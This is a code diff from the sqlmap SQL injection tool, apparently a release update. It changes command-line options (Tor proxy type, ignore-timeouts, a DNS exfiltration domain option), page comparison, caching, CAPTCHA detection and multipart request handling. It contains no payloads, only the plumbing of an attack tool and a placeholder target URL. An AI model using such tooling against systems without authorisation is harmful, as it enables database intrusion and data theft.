-                    colElem.appendChild(self._createTextNode(column))
-                    tableElem.appendChild(colElem)
-
-        self._addToRoot(columnsElem)
-
-    def dbTableValues(self, tableValues):
-        '''
-        Adds the values of specific table to the xml.
-        The values are organized according to the relevant row and column.
-        '''
-        tableElem = self.__doc.createElement(DB_TABLE_VALUES_ELEM_NAME)
-        if (tableValues is not None):
-            db = tableValues["__infos__"]["db"]
-            if not db:
-                db = "All"
-            table = tableValues["__infos__"]["table"]
-
-            count = int(tableValues["__infos__"]["count"])
-            columns = tableValues.keys()
-            columns.sort(key=lambda x: x.lower())
-
-            tableElem.setAttributeNode(self._createAttribute(DB_ATTR, db))
-            tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table))
-
-            for i in range(count):
-                rowElem = self.__doc.createElement(ROW_ELEM_NAME)
-                tableElem.appendChild(rowElem)
-                for column in columns:
-                    if column != "__infos__":
-                        info = tableValues[column]
-                        value = info["values"][i]
-
-                        if re.search("^[\ *]*$", value):
-                            value = "NULL"
-
-                        cellElem = self.__doc.createElement(CELL_ELEM_NAME)
-                        cellElem.setAttributeNode(self._createAttribute(COLUMN_ATTR, column))
-                        cellElem.appendChild(self._createTextNode(value))
-                        rowElem.appendChild(cellElem)
-
-        dbValuesElem = self._getRootChild(DB_VALUES_ELEM)
-        if (not(dbValuesElem)):
-            dbValuesElem = self.__doc.createElement(DB_VALUES_ELEM)
-            self._addToRoot(dbValuesElem)
-
-        dbValuesElem.appendChild(tableElem)
-
-        logger.info("Table '%s.%s' dumped to XML file" % (db, table))
-
-    def dbColumns(self, dbColumns, colConsider, dbs):
-        '''
-        Adds information about the columns
-        '''
-        for column in dbColumns.keys():
-            printDbs = {}
-            for db, tblData in dbs.items():
-                for tbl, colData in tblData.items():
-                    for col, dataType in colData.items():
-                        if column in col:
-                            if db in printDbs:
-                                if tbl in printDbs[db]:
-                                    printDbs[db][tbl][col] = dataType
-                                else:
-                                    printDbs[db][tbl] = {col: dataType}
-                            else:
-                                printDbs[db] = {}
-                                printDbs[db][tbl] = {col: dataType}
-
-                            continue
-
-        self.dbTableColumns(printDbs)
-
-    def query(self, query, queryRes):
-        '''
-        Adds details of an executed query to the xml.
-        The query details are the query itself and its results.
-        '''
-        queryElem = self.__doc.createElement(QUERY_ELEM_NAME)
-        queryElem.setAttributeNode(self._createAttribute(VALUE_ATTR, query))
-        queryElem.appendChild(self._createTextNode(queryRes))
-        queriesElem = self._getRootChild(QUERIES_ELEM_NAME)
-        if (not(queriesElem)):
-            queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME)
-            self._addToRoot(queriesElem)
-        queriesElem.appendChild(queryElem)
-
-    def registerValue(self, registerData):
-        '''
-        Adds information about an extracted registry key to the xml
-        '''
-        registerElem = self.__doc.createElement(REGISTER_DATA_ELEM_NAME)
-        registerElem.appendChild(self._createTextNode(registerData))
-        registriesElem = self._getRootChild(REGISTERY_ENTRIES_ELEM_NAME)
-        if (not(registriesElem)):
-            registriesElem = self.__doc.createElement(REGISTERY_ENTRIES_ELEM_NAME)
-            self._addToRoot(registriesElem)
-        registriesElem.appendChild(registerElem)
-
-    def rFile(self, filePath, data):
-        '''
-        Adds an extracted file's content to the xml
-        '''
-        fileContentElem = self.__doc.createElement(FILE_CONTENT_ELEM_NAME)
-        fileContentElem.setAttributeNode(self._createAttribute(NAME_ATTR, filePath))
-        fileContentElem.appendChild(self._createTextNode(data))
-        self._addToRoot(fileContentElem)
-
-    def setOutputFile(self):
-        '''
-        Initiates the xml file from the configuration.
-        '''
-        if (conf.xmlFile):
-            try:
-                self._outputFile = conf.xmlFile
-                self.__root = None
-
-                if os.path.exists(self._outputFile):
-                    try:
-                        self.__doc = xml.dom.minidom.parse(self._outputFile)
-                        self.__root = self.__doc.childNodes[0]
-                    except ExpatError:
-                        self.__doc = Document()
-
-                self._outputFP = codecs.open(self._outputFile, "w+", UNICODE_ENCODING)
-
-                if self.__root is None:
-                    self.__root = self.__doc.createElementNS(NAME_SPACE_ATTR, RESULTS_ELEM_NAME)
-                    self.__root.setAttributeNode(self._createAttribute(XMLNS_ATTR, NAME_SPACE_ATTR))
-                    self.__root.setAttributeNode(self._createAttribute(SCHEME_NAME_ATTR, SCHEME_NAME))
-                    self.__doc.appendChild(self.__root)
-            except IOError:
-                raise SqlmapFilePathException("Wrong filename provided for saving the xml file: %s" % conf.xmlFile)
-
-    def getOutputFile(self):
-        return self._outputFile
-
-    def finish(self, resultStatus, resultMsg=""):
-        '''
-        Finishes the dumper operation:
-        1. Adds the session status to the xml
-        2. Writes the xml to the file
-        3. Closes the xml file
-        '''
-        if ((self._outputFP is not None) and not(self._outputFP.closed)):
-            statusElem = self.__doc.createElement(STATUS_ELEM_NAME)
-            statusElem.setAttributeNode(self._createAttribute(SUCESS_ATTR, getUnicode(resultStatus)))
-
-            if not resultStatus:
-                errorElem = self.__doc.createElement(ERROR_ELEM_NAME)
-
-                if isinstance(resultMsg, Exception):
-                    errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, type(resultMsg).__name__))
-                else:
-                    errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNHANDLED_PROBLEM_TYPE))
-
-                errorElem.appendChild(self._createTextNode(getUnicode(resultMsg)))
-                statusElem.appendChild(errorElem)
-
-            self._addToRoot(statusElem)
-            self.__write(prettyprint.formatXML(self.__doc, encoding=UNICODE_ENCODING))
-            self._outputFP.close()
-
-
-def closeDumper(status, msg=""):
-    """
-    Closes the dumper of the session
-    """
-
-    if hasattr(conf, "dumper") and hasattr(conf.dumper, "finish"):
-        conf.dumper.finish(status, msg)
-
-dumper = XMLDump()

lib/parse/cmdline.py

@@ -17,6 +17,7 @@ from optparse import SUPPRESS_HELP
 
 from lib.core.common import checkDeprecatedOptions
 from lib.core.common import checkSystemEncoding
+from lib.core.common import dataToStdout
 from lib.core.common import expandMnemonics
 from lib.core.common import getUnicode
 from lib.core.data import cmdLineOptions
@@ -30,6 +31,7 @@ from lib.core.settings import BASIC_HELP_ITEMS
 from lib.core.settings import DUMMY_URL
 from lib.core.settings import IS_WIN
 from lib.core.settings import MAX_HELP_OPTION_LENGTH
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import VERSION_STRING
 from lib.core.shell import autoCompletion
 from lib.core.shell import clearHistory
@@ -46,7 +48,7 @@ def cmdLineParser(argv=None):
 
     checkSystemEncoding()
 
-    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding())
+    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
 
     usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
             "\"%s\"" % _ if " " in _ else _)
@@ -150,6 +152,15 @@ def cmdLineParser(argv=None):
         request.add_option("--ignore-401", dest="ignore401", action="store_true",
                           help="Ignore HTTP Error 401 (Unauthorized)")
 
+        request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
+                           help="Ignore system default proxy settings")
+
+        request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
+                          help="Ignore redirection attempts")
+
+        request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
+                          help="Ignore connection timeouts")
+
         request.add_option("--proxy", dest="proxy",
                            help="Use a proxy to connect to the target URL")
 
@@ -160,9 +171,6 @@ def cmdLineParser(argv=None):
         request.add_option("--proxy-file", dest="proxyFile",
                            help="Load proxy list from a file")
 
-        request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
-                           help="Ignore system default proxy settings")
-
         request.add_option("--tor", dest="tor",
                                   action="store_true",
                                   help="Use Tor anonymity network")
@@ -171,7 +179,7 @@ def cmdLineParser(argv=None):
                                   help="Set Tor proxy port other than default")
 
         request.add_option("--tor-type", dest="torType",
-                                  help="Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)")
+                                  help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
 
         request.add_option("--check-tor", dest="checkTor",
                                   action="store_true",
@@ -259,7 +267,7 @@ def cmdLineParser(argv=None):
                              help="Skip testing for given parameter(s)")
 
         injection.add_option("--skip-static", dest="skipStatic", action="store_true",
-                             help="Skip testing parameters that not appear dynamic")
+                             help="Skip testing parameters that not appear to be dynamic")
 
         injection.add_option("--dbms", dest="dbms",
                              help="Force back-end DBMS to this value")
@@ -359,7 +367,7 @@ def cmdLineParser(argv=None):
         techniques.add_option("--union-from", dest="uFrom",
                               help="Table to use in FROM part of UNION query SQL injection")
 
-        techniques.add_option("--dns-domain", dest="dnsName",
+        techniques.add_option("--dns-domain", dest="dnsDomain",
                               help="Domain name used for DNS exfiltration attack")
 
         techniques.add_option("--second-order", dest="secondOrder",
@@ -757,6 +765,9 @@ def cmdLineParser(argv=None):
         parser.add_option("--dummy", dest="dummy", action="store_true",
                           help=SUPPRESS_HELP)
 
+        parser.add_option("--murphy-rate", dest="murphyRate", type="int",
+                          help=SUPPRESS_HELP)
+
         parser.add_option("--pickled-options", dest="pickledOptions",
                           help=SUPPRESS_HELP)
 
@@ -824,7 +835,7 @@ def cmdLineParser(argv=None):
         extraHeaders = []
 
         for arg in argv:
-            _.append(getUnicode(arg, encoding=sys.getfilesystemencoding()))
+            _.append(getUnicode(arg, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING))
 
         argv = _
         checkDeprecatedOptions(argv)
@@ -862,13 +873,13 @@ def cmdLineParser(argv=None):
                     continue
                 elif command.lower() == "clear":
                     clearHistory()
-                    print "[i] history cleared"
+                    dataToStdout("[i] history cleared\n")
                     saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                 elif command.lower() in ("x", "q", "exit", "quit"):
                     raise SqlmapShellQuitException
                 elif command[0] != '-':
-                    print "[!] invalid option(s) provided"
-                    print "[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'"
+                    dataToStdout("[!] invalid option(s) provided\n")
+                    dataToStdout("[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'\n")
                 else:
                     saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                     loadHistory(AUTOCOMPLETE_TYPE.SQLMAP)
@@ -880,12 +891,15 @@ def cmdLineParser(argv=None):
             except ValueError, ex:
                 raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
 
-        # Hide non-basic options in basic help case
         for i in xrange(len(argv)):
             if argv[i] == "-hh":
                 argv[i] = "-h"
+            elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
+                dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
+                raise SystemExit
             elif re.search(r"\A-\w=.+", argv[i]):
-                print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i]
+                dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
+                raise SystemExit
             elif argv[i] == "-H":
                 if i + 1 < len(argv):
                     extraHeaders.append(argv[i + 1])
@@ -895,7 +909,7 @@ def cmdLineParser(argv=None):
             elif argv[i] == "--version":
                 print VERSION_STRING.split('/')[-1]
                 raise SystemExit
-            elif argv[i] == "-h":
+            elif argv[i] in ("-h", "--help"):
                 advancedHelp = False
                 for group in parser.option_groups[:]:
                     found = False
@@ -907,14 +921,22 @@ def cmdLineParser(argv=None):
                     if not found:
                         parser.option_groups.remove(group)
 
+        for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
+            try:
+                if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
+                    conf.verbose = verbosity.count('v') + 1
+                    del argv[argv.index(verbosity)]
+            except (IndexError, ValueError):
+                pass
+
         try:
             (args, _) = parser.parse_args(argv)
         except UnicodeEncodeError, ex:
-            print "\n[!] %s" % ex.object.encode("unicode-escape")
+            dataToStdout("\n[!] %s\n" % ex.object.encode("unicode-escape"))
             raise SystemExit
         except SystemExit:
             if "-h" in argv and not advancedHelp:
-                print "\n[!] to see full list of options run with '-hh'"
+                dataToStdout("\n[!] to see full list of options run with '-hh'\n")
             raise
 
         if extraHeaders:
@@ -935,7 +957,7 @@ def cmdLineParser(argv=None):
             args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
             args.purgeOutput, args.pickledOptions, args.sitemapUrl)):
             errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
-            errMsg += "use -h for basic or -hh for advanced help"
+            errMsg += "use -h for basic or -hh for advanced help\n"
             parser.error(errMsg)
 
         return args
@@ -946,7 +968,7 @@ def cmdLineParser(argv=None):
     except SystemExit:
         # Protection against Windows dummy double clicking
         if IS_WIN:
-            print "\nPress Enter to continue...",
+            dataToStdout("\nPress Enter to continue...")
             raw_input()
         raise
 

lib/parse/html.py

@@ -59,6 +59,13 @@ def htmlParser(page):
 
     xmlfile = paths.ERRORS_XML
     handler = HTMLHandler(page)
+    key = hash(page)
+
+    if key in kb.cache.parsedDbms:
+        retVal = kb.cache.parsedDbms[key]
+        if retVal:
+            handler._markAsErrorPage()
+        return retVal
 
     parseXmlFile(xmlfile, handler)
 
@@ -68,6 +75,8 @@ def htmlParser(page):
     else:
         kb.lastParserStatus = None
 
+    kb.cache.parsedDbms[key] = handler.dbms
+
     # generic SQL warning/error messages
     if re.search(r"SQL (warning|error|syntax)", page, re.I):
         handler._markAsErrorPage()

lib/parse/payloads.py

@@ -14,6 +14,7 @@ from lib.core.data import conf
 from lib.core.data import paths
 from lib.core.datatype import AttribDict
 from lib.core.exception import SqlmapInstallationException
+from lib.core.settings import PAYLOAD_XML_FILES
 
 def cleanupVals(text, tag):
     if tag in ("clause", "where"):
@@ -83,10 +84,7 @@ def loadBoundaries():
     parseXmlNode(root)
 
 def loadPayloads():
-    payloadFiles = os.listdir(paths.SQLMAP_XML_PAYLOADS_PATH)
-    payloadFiles.sort()
-
-    for payloadFile in payloadFiles:
+    for payloadFile in PAYLOAD_XML_FILES:
         payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
 
         try:

lib/request/basic.py

@@ -26,6 +26,7 @@ from lib.core.common import singleTimeWarnMessage
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import cachedmethod
 from lib.core.enums import DBMS
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PLACE
@@ -94,7 +95,7 @@ def forgeHeaders(items=None):
                 if cookie.domain_specified and not conf.hostname.endswith(cookie.domain):
                     continue
 
-                if ("%s=" % cookie.name) in headers[HTTP_HEADER.COOKIE]:
+                if ("%s=" % getUnicode(cookie.name)) in headers[HTTP_HEADER.COOKIE]:
                     if conf.loadCookies:
                         conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders))
                     elif kb.mergeCookies is None:
@@ -106,7 +107,7 @@ def forgeHeaders(items=None):
                         kb.mergeCookies = not _ or _[0] in ("y", "Y")
 
                     if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
-                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (cookie.name, getUnicode(cookie.value))).replace('\\', r'\\'), x)
+                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
                         headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
 
                         if PLACE.COOKIE in conf.parameters:
@@ -115,7 +116,7 @@ def forgeHeaders(items=None):
                         conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders]
 
                 elif not kb.testMode:
-                    headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value))
+                    headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value))
 
         if kb.testMode and not any((conf.csrfToken, conf.safeUrl)):
             resetCookieJar(conf.cj)
@@ -136,6 +137,7 @@ def parseResponse(page, headers):
     if page:
         htmlParser(page)
 
+@cachedmethod
 def checkCharEncoding(encoding, warn=True):
     """
     Checks encoding name, repairs common misspellings and adjusts to
@@ -230,7 +232,10 @@ def getHeuristicCharEncoding(page):
     Returns page encoding charset detected by usage of heuristics
     Reference: http://chardet.feedparser.org/docs/
     """
-    retVal = detect(page)["encoding"]
+
+    key = hash(page)
+    retVal = kb.cache.encoding.get(key) or detect(page)["encoding"]
+    kb.cache.encoding[key] = retVal
 
     if retVal:
         infoMsg = "heuristics detected web page charset '%s'" % retVal
@@ -336,6 +341,8 @@ def processResponse(page, responseHeaders):
 
     if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
         kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
+    else:
+        kb.tableFrom = None
 
     if conf.parseErrors:
         msg = extractErrorMessage(page)
@@ -351,9 +358,23 @@ def processResponse(page, responseHeaders):
                 if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
                     if conf.paramDict[PLACE.POST][name] in page:
                         continue
-                    conf.paramDict[PLACE.POST][name] = value
+                    else:
+                        msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name
+                        if readInput(msg, default='N').strip().upper() != 'Y':
+                            continue
+                        conf.paramDict[PLACE.POST][name] = value
                 conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])
 
+    if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
+        for match in re.finditer(r"(?si)<form.+?</form>", page):
+            if re.search(r"(?i)captcha", match.group(0)):
+                kb.captchaDetected = True
+                warnMsg = "potential CAPTCHA protection mechanism detected"
+                if re.search(r"(?i)<title>[^<]*CloudFlare", page):
+                    warnMsg += " (CloudFlare)"
+                singleTimeWarnMessage(warnMsg)
+                break
+
     if re.search(BLOCKED_IP_REGEX, page):
-        errMsg = "it appears that you have been blocked by the target server"
-        singleTimeLogMessage(errMsg, logging.ERROR)
+        warnMsg = "it appears that you have been blocked by the target server"
+        singleTimeWarnMessage(warnMsg)

lib/request/comparison.py

@@ -21,10 +21,12 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DIFF_TOLERANCE
 from lib.core.settings import HTML_TITLE_REGEX
 from lib.core.settings import MIN_RATIO
+from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import MAX_RATIO
 from lib.core.settings import REFLECTED_VALUE_MARKER
 from lib.core.settings import LOWER_RATIO_BOUND
 from lib.core.settings import UPPER_RATIO_BOUND
+from lib.core.settings import URI_HTTP_HEADER
 from lib.core.threads import getCurrentThreadData
 
 def comparison(page, headers, code=None, getRatioValue=False, pageLength=None):
@@ -47,19 +49,15 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
     threadData = getCurrentThreadData()
 
     if kb.testMode:
-        threadData.lastComparisonHeaders = listToStrValue(headers.headers) if headers else ""
+        threadData.lastComparisonHeaders = listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else ""
         threadData.lastComparisonPage = page
+        threadData.lastComparisonCode = code
 
     if page is None and pageLength is None:
         return None
 
-    count = 0
-
-    seqMatcher = threadData.seqMatcher
-    seqMatcher.set_seq1(kb.pageTemplate)
-
     if any((conf.string, conf.notString, conf.regexp)):
-        rawResponse = "%s%s" % (listToStrValue(headers.headers) if headers else "", page)
+        rawResponse = "%s%s" % (listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else "", page)
 
         # String to match in page when the query is True and/or valid
         if conf.string:
@@ -77,6 +75,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
     if conf.code:
         return conf.code == code
 
+    seqMatcher = threadData.seqMatcher
+    seqMatcher.set_seq1(kb.pageTemplate)
+
     if page:
         # In case of an DBMS error page return None
         if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
@@ -109,59 +110,37 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
         elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
             seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')
 
-        seq1, seq2 = None, None
-
-        if conf.titles:
-            seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
-            seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
+        if seqMatcher.a and page and seqMatcher.a == page:
+            ratio = 1
+        elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
+            ratio = 1.0 * len(seqMatcher.a) / len(page)
+            if ratio > 1:
+                ratio = 1. / ratio
         else:
-            seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
-            seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
+            seq1, seq2 = None, None
 
-        if seq1 is None or seq2 is None:
-            return None
-
-        seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
-        seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
-
-        while count < min(len(seq1), len(seq2)):
-            if seq1[count] == seq2[count]:
-                count += 1
+            if conf.titles:
+                seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
+                seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
             else:
-                break
+                seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
+                seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
 
-        if count:
-            try:
-                _seq1 = seq1[count:]
-                _seq2 = seq2[count:]
-            except MemoryError:
-                pass
-            else:
-                seq1 = _seq1
-                seq2 = _seq2
+            if seq1 is None or seq2 is None:
+                return None
 
-        while True:
-            try:
-                seqMatcher.set_seq1(seq1)
-            except MemoryError:
-                seq1 = seq1[:len(seq1) / 1024]
-            else:
-                break
+            seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
+            seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
 
-        while True:
-            try:
-                seqMatcher.set_seq2(seq2)
-            except MemoryError:
-                seq2 = seq2[:len(seq2) / 1024]
-            else:
-                break
+            seqMatcher.set_seq1(seq1)
+            seqMatcher.set_seq2(seq2)
 
-        ratio = round(seqMatcher.quick_ratio(), 3)
+            ratio = round(seqMatcher.quick_ratio(), 3)
 
     # If the url is stable and we did not set yet the match ratio and the
     # current injected value changes the url page content
     if kb.matchRatio is None:
-        if (count or ratio >= LOWER_RATIO_BOUND) and ratio <= UPPER_RATIO_BOUND:
+        if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
             kb.matchRatio = ratio
             logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio)
 

lib/request/connect.py

@@ -90,6 +90,8 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
 from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE
 from lib.core.settings import MAX_CONNECTIONS_REGEX
 from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
+from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS
+from lib.core.settings import MAX_MURPHY_SLEEP_TIME
 from lib.core.settings import META_REFRESH_REGEX
 from lib.core.settings import MIN_TIME_RESPONSES
 from lib.core.settings import IS_WIN
@@ -110,7 +112,6 @@ from lib.request.basic import processResponse
 from lib.request.direct import direct
 from lib.request.comparison import comparison
 from lib.request.methodrequest import MethodRequest
-from thirdparty.multipart import multipartpost
 from thirdparty.odict.odict import OrderedDict
 from thirdparty.socks.socks import ProxyError
 
@@ -122,7 +123,10 @@ class Connect(object):
 
     @staticmethod
     def _getPageProxy(**kwargs):
-        return Connect.getPage(**kwargs)
+        try:
+            return Connect.getPage(**kwargs)
+        except RuntimeError:
+            return None, None, None
 
     @staticmethod
     def _retryProxy(**kwargs):
@@ -222,8 +226,10 @@ class Connect(object):
 
         if conf.offline:
             return None, None, None
-        elif conf.dummy:
-            return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None
+        elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
+            if conf.murphyRate:
+                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
+            return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3)
 
         threadData = getCurrentThreadData()
         with kb.locks.request:
@@ -239,18 +245,21 @@ class Connect(object):
         referer = kwargs.get("referer",             None) or conf.referer
         host = kwargs.get("host",                   None) or conf.host
         direct_ = kwargs.get("direct",              False)
-        multipart = kwargs.get("multipart",         False)
+        multipart = kwargs.get("multipart",         None)
         silent = kwargs.get("silent",               False)
         raise404 = kwargs.get("raise404",           True)
         timeout = kwargs.get("timeout",             None) or conf.timeout
         auxHeaders = kwargs.get("auxHeaders",       None)
         response = kwargs.get("response",           False)
-        ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout
+        ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
         refreshing = kwargs.get("refreshing",       False)
         retrying = kwargs.get("retrying",           False)
         crawling = kwargs.get("crawling",           False)
         skipRead = kwargs.get("skipRead",           False)
 
+        if multipart:
+            post = multipart
+
         websocket_ = url.lower().startswith("ws")
 
         if not urlparse.urlsplit(url).netloc:
@@ -295,20 +304,6 @@ class Connect(object):
                     params = urlencode(params)
                     url = "%s?%s" % (url, params)
 
-            elif multipart:
-                # Needed in this form because of potential circle dependency
-                # problem (option -> update -> connect -> option)
-                from lib.core.option import proxyHandler
-
-                multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler)
-                conn = multipartOpener.open(unicodeencode(url), multipart)
-                page = Connect._connReadProxy(conn) if not skipRead else None
-                responseHeaders = conn.info()
-                responseHeaders[URI_HTTP_HEADER] = conn.geturl()
-                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
-
-                return page
-
             elif any((refreshing, crawling)):
                 pass
 
@@ -361,7 +356,7 @@ class Connect(object):
             if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                 headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity"
 
-            if post is not None and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
+            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                 headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)
 
             if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
@@ -401,6 +396,7 @@ class Connect(object):
 
             if websocket_:
                 ws = websocket.WebSocket()
+                ws.settimeout(timeout)
                 ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                 ws.send(urldecode(post or ""))
                 page = ws.recv()
@@ -412,7 +408,7 @@ class Connect(object):
                 responseHeaders = _(ws.getheaders())
                 responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
 
-                requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
+                requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                 requestMsg += "\n%s" % requestHeaders
 
                 if post is not None:
@@ -431,7 +427,7 @@ class Connect(object):
                 else:
                     req = urllib2.Request(url, post, headers)
 
-                requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items())
+                requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
 
                 if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                     conf.cj._policy._now = conf.cj._now = int(time.time())
@@ -443,7 +439,7 @@ class Connect(object):
                         requestHeaders += "\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))
 
                 if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
-                    requestHeaders += "\n%s: close" % HTTP_HEADER.CONNECTION
+                    requestHeaders += "\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive")
 
                 requestMsg += "\n%s" % requestHeaders
 
@@ -452,9 +448,10 @@ class Connect(object):
 
                 requestMsg += "\n"
 
-                threadData.lastRequestMsg = requestMsg
+                if not multipart:
+                    threadData.lastRequestMsg = requestMsg
 
-                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
+                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
 
                 if conf.cj:
                     for cookie in conf.cj:
